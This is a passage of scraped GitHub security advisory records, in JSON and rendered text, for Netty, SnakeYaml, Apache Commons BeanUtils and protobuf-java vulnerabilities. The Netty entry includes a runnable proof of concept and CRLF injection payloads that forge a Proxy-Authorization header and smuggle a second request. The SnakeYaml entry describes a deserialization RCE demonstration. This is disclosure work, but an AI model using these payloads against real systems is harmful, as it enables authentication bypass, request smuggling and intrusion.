DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r \u003c-- INJECTED\n X-Admin: true\\r \u003c-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"id": "GHSA-45q3-82m4-75jr",
"modified": "2026-05-14T20:40:54Z",
"published": "2026-05-07T00:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}
GHSA-MJMJ-J48Q-9WG2
Vulnerability from github – Published: 2022-12-12 21:19 – Updated: 2025-06-18 17:45Summary
SnakeYaml's Constructor class, which inherits from SafeConstructor, allows
any type be deserialized given the following line:
new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);
Types do not have to match the types of properties in the
target class. A ConstructorException is thrown, but only after a malicious
payload is deserialized.
Severity
High, lack of type checks during deserialization allows remote code execution.
Proof of Concept
Execute bash run.sh. The PoC uses Constructor to deserialize a payload
for RCE. RCE is demonstrated by using a payload which performs a http request to
http://127.0.0.1:8000.
Example output of successful run of proof of concept:
$ bash run.sh
[+] Downloading snakeyaml if needed
[+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE
nc: no process found
[+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server.
[+] An exception is expected.
Exception:
Cannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0
in 'string', line 1, column 1:
payload: !!javax.script.ScriptEn ...
^
Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
in 'string', line 1, column 10:
payload: !!javax.script.ScriptEngineManag ...
^
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491)
at org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
at Main.main(Main.java:37)
Caused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)
at java.base/java.lang.reflect.Field.set(Field.java:780)
at org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286)
... 9 more
[+] Dumping Received HTTP Request. Will not be empty if PoC worked
GET /proof-of-concept HTTP/1.1
User-Agent: Java/11.0.14
Host: localhost:8000
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Further Analysis
Potential mitigations include, leveraging SnakeYaml's SafeConstructor while parsing untrusted content.
See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject.
Timeline
Date reported: 4/11/2022 Date fixed: 30/12/2022 Date disclosed: 10/13/2022
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.33"
},
"package": {
"ecosystem": "Maven",
"name": "org.yaml:snakeyaml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-1471"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T21:19:47Z",
"nvd_published_at": "2022-12-01T11:15:00Z",
"severity": "HIGH"
},
"details": "### Summary\nSnakeYaml\u0027s `Constructor` class, which inherits from `SafeConstructor`, allows\nany type be deserialized given the following line:\n\nnew Yaml(new Constructor(TestDataClass.class)).load(yamlContent);\n\nTypes do not have to match the types of properties in the\ntarget class. A `ConstructorException` is thrown, but only after a malicious\npayload is deserialized.\n\n### Severity\nHigh, lack of type checks during deserialization allows remote code execution.\n\n### Proof of Concept\nExecute `bash run.sh`. The PoC uses Constructor to deserialize a payload\nfor RCE. RCE is demonstrated by using a payload which performs a http request to\nhttp://127.0.0.1:8000.\n\nExample output of successful run of proof of concept:\n\n```\n$ bash run.sh\n\n[+] Downloading snakeyaml if needed\n[+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE\nnc: no process found\n[+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server.\n[+] An exception is expected.\nException:\nCannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0\n in \u0027string\u0027, line 1, column 1:\n payload: !!javax.script.ScriptEn ... \n ^\nCan not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager\n in \u0027string\u0027, line 1, column 10:\n payload: !!javax.script.ScriptEngineManag ... \n ^\n\n\tat org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291)\n\tat org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172)\n\tat org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332)\n\tat org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230)\n\tat org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220)\n\tat org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174)\n\tat org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158)\n\tat org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491)\n\tat org.yaml.snakeyaml.Yaml.load(Yaml.java:416)\n\tat Main.main(Main.java:37)\nCaused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager\n\tat java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)\n\tat java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)\n\tat java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)\n\tat java.base/java.lang.reflect.Field.set(Field.java:780)\n\tat org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44)\n\tat org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286)\n\t... 9 more\n[+] Dumping Received HTTP Request. Will not be empty if PoC worked\nGET /proof-of-concept HTTP/1.1\nUser-Agent: Java/11.0.14\nHost: localhost:8000\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\nConnection: keep-alive\n```\n\n### Further Analysis\nPotential mitigations include, leveraging SnakeYaml\u0027s SafeConstructor while parsing untrusted content.\n\nSee https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject.\n\n### Timeline\n**Date reported**: 4/11/2022\n**Date fixed**: [30/12/2022](https://bitbucket.org/snakeyaml/snakeyaml/pull-requests/44)\n**Date disclosed**: 10/13/2022",
"id": "GHSA-mjmj-j48q-9wg2",
"modified": "2025-06-18T17:45:18Z",
"published": "2022-12-12T21:19:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1471"
},
{
"type": "WEB",
"url": "https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true"
},
{
"type": "WEB",
"url": "https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0006"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230818-0015"
},
{
"type": "WEB",
"url": "https://infosecwriteups.com/%EF%B8%8F-inside-the-160-comment-fight-to-fix-snakeyamls-rce-default-1a20c5ca4d4c"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/kubernetes-security-announce/c/mwrakFaEdnc"
},
{
"type": "WEB",
"url": "https://github.com/mbechler/marshalsec"
},
{
"type": "WEB",
"url": "https://confluence.atlassian.com/security/cve-2022-1471-snakeyaml-library-rce-vulnerability-in-multiple-products-1296171009.html"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/wiki/CVE-2022-1471"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64876314"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64634374"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/commits/acc44099f5f4af26ff86b4e4e4cc1c874e2dc5c4"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/commits/5014df1a36f50aca54405bb8433bc99a8847f758"
},
{
"type": "PACKAGE",
"url": "https://bitbucket.org/snakeyaml/snakeyaml"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/175095/PyTorch-Model-Server-Registration-Deserialization-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/11/19/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "SnakeYaml Constructor Deserialization Remote Code Execution"
}
GHSA-WXR5-93PH-8WR9
Vulnerability from github – Published: 2025-05-28 15:34 – Updated: 2025-11-03 21:33Improper Access Control vulnerability in Apache Commons.
A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default.
Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests.
This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils
1.x are recommended to upgrade to version 1.11.0, which fixes the issue.
Users of the artifact org.apache.commons:commons-beanutils2
2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.1"
},
"package": {
"ecosystem": "Maven",
"name": "commons-beanutils:commons-beanutils"
},
"ranges": [
{
"events": [
{
"introduced": "1.0"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.commons:commons-beanutils2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-M1"
},
{
"fixed": "2.0.0-M2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48734"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-28T17:37:18Z",
"nvd_published_at": "2025-05-28T14:15:34Z",
"severity": "HIGH"
},
"details": "Improper Access Control vulnerability in Apache Commons.\n\n\n\nA special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default.\n\n\n\n\n\nReleases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum\u2019s class loader via the \u201cdeclaredClass\u201d property available on all Java \u201cenum\u201d objects. Accessing the enum\u2019s \u201cdeclaredClass\u201d allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty().\nStarting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the \u201cdeclaredClass\u201d property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user\u0027s guide and the unit tests.\n\nThis issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils\n\n 1.x are recommended to upgrade to version 1.11.0, which fixes the issue.\n\n\nUsers of the artifact org.apache.commons:commons-beanutils2\n\n 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.",
"id": "GHSA-wxr5-93ph-8wr9",
"modified": "2025-11-03T21:33:58Z",
"published": "2025-05-28T15:34:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48734"
},
{
"type": "WEB",
"url": "https://github.com/apache/commons-beanutils/commit/bd20740da25b69552ddef8523beec0837297eaf9"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-beanutils"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/s0hb3jkfj5f3ryx6c57zqtfohb0of1g9"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00027.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/05/28/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Commons Improper Access Control vulnerability"
}
GHSA-FX2C-96VJ-985V
Vulnerability from github – Published: 2022-12-12 21:24 – Updated: 2023-01-13 17:18Impact
A StackOverflowError can be raised when parsing a malformed crafted message due to an infinite recursion.
Patches
Users should upgrade to 4.1.86.Final.
Workarounds
There is no workaround, except using a custom HaProxyMessageDecoder.
References
When parsing a TLV with type = PP2_TYPE_SSL, the value can be again a TLV with type = PP2_TYPE_SSL and so on. The only limitation of the recursion is that the TLV length cannot be bigger than 0xffff because it is encoded in an unsigned short type. Providing a TLV with a nesting level that is large enough will lead to raising of a StackOverflowError. The StackOverflowError will be caught if HAProxyMessageDecoder is used as part of Netty’s ChannelPipeline, but using it directly without the ChannelPipeline will lead to a thrown exception / crash.
For more information
If you have any questions or comments about this advisory: * Open an issue in netty
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
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},
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"fixed": "4.1.86.Final"
}
],
"type": "ECOSYSTEM"
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],
"aliases": [
"CVE-2022-41881"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T21:24:29Z",
"nvd_published_at": "2022-12-12T18:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nA StackOverflowError can be raised when parsing a malformed crafted message due to an infinite recursion.\n\n### Patches\nUsers should upgrade to 4.1.86.Final.\n\n### Workarounds\nThere is no workaround, except using a custom HaProxyMessageDecoder.\n\n### References\nWhen parsing a TLV with type = PP2_TYPE_SSL, the value can be again a TLV with type = PP2_TYPE_SSL and so on.\nThe only limitation of the recursion is that the TLV length cannot be bigger than 0xffff because it is encoded in an unsigned short type.\nProviding a TLV with a nesting level that is large enough will lead to raising of a StackOverflowError.\nThe StackOverflowError will be caught if HAProxyMessageDecoder is used as part of Netty\u2019s ChannelPipeline, but using it directly without the ChannelPipeline will lead to a thrown exception / crash.\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [netty](https://github.com/netty/netty)\n",
"id": "GHSA-fx2c-96vj-985v",
"modified": "2023-01-13T17:18:24Z",
"published": "2022-12-12T21:24:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fx2c-96vj-985v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41881"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00008.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230113-0004"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5316"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "HAProxyMessageDecoder Stack Exhaustion DoS"
}
GHSA-H4H5-3HR4-J3G2
Vulnerability from github – Published: 2022-10-04 22:17 – Updated: 2022-10-04 22:17Summary
A potential Denial of Service issue in protobuf-java core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.
Reporter: OSS Fuzz
Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.
Severity
CVE-2022-3171 Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication)
Remediation and Mitigation
Please update to the latest available versions of the following packages:
protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6)
{
"affected": [
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"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
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"events": [
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"introduced": "3.21.0-rc-1"
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}
]
},
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"name": "com.google.protobuf:protobuf-kotlin-lite"
},
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},
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},
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"name": "com.google.protobuf:protobuf-java"
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"name": "com.google.protobuf:protobuf-kotlin"
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"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
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"introduced": "3.20.0-rc-1"
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{
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"ecosystem": "Maven",
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},
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{
"introduced": "3.17.0-rc-1"
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{
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]
},
{
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"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
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{
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]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0-rc-1"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "3.17.0-rc-1"
},
{
"fixed": "3.19.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3171"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-04T22:17:15Z",
"nvd_published_at": "2022-10-12T23:15:00Z",
"severity": "MODERATE"
},
"details": "## Summary\nA potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. \n\nReporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771)\n\nAffected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.\n\n## Severity\n\n[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication)\n\n## Remediation and Mitigation\n\nPlease update to the latest available versions of the following packages:\n\nprotobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3)\ngoogle-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6)\n",
"id": "GHSA-h4h5-3hr4-j3g2",
"modified": "2022-10-04T22:17:15Z",
"published": "2022-10-04T22:17:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-h4h5-3hr4-j3g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3171"
},
{
"type": "WEB",
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/releases/tag/v21.7"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.16.3"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.19.6"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.20.3"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2022-3171.yml"
},
{
"type": "WEB",
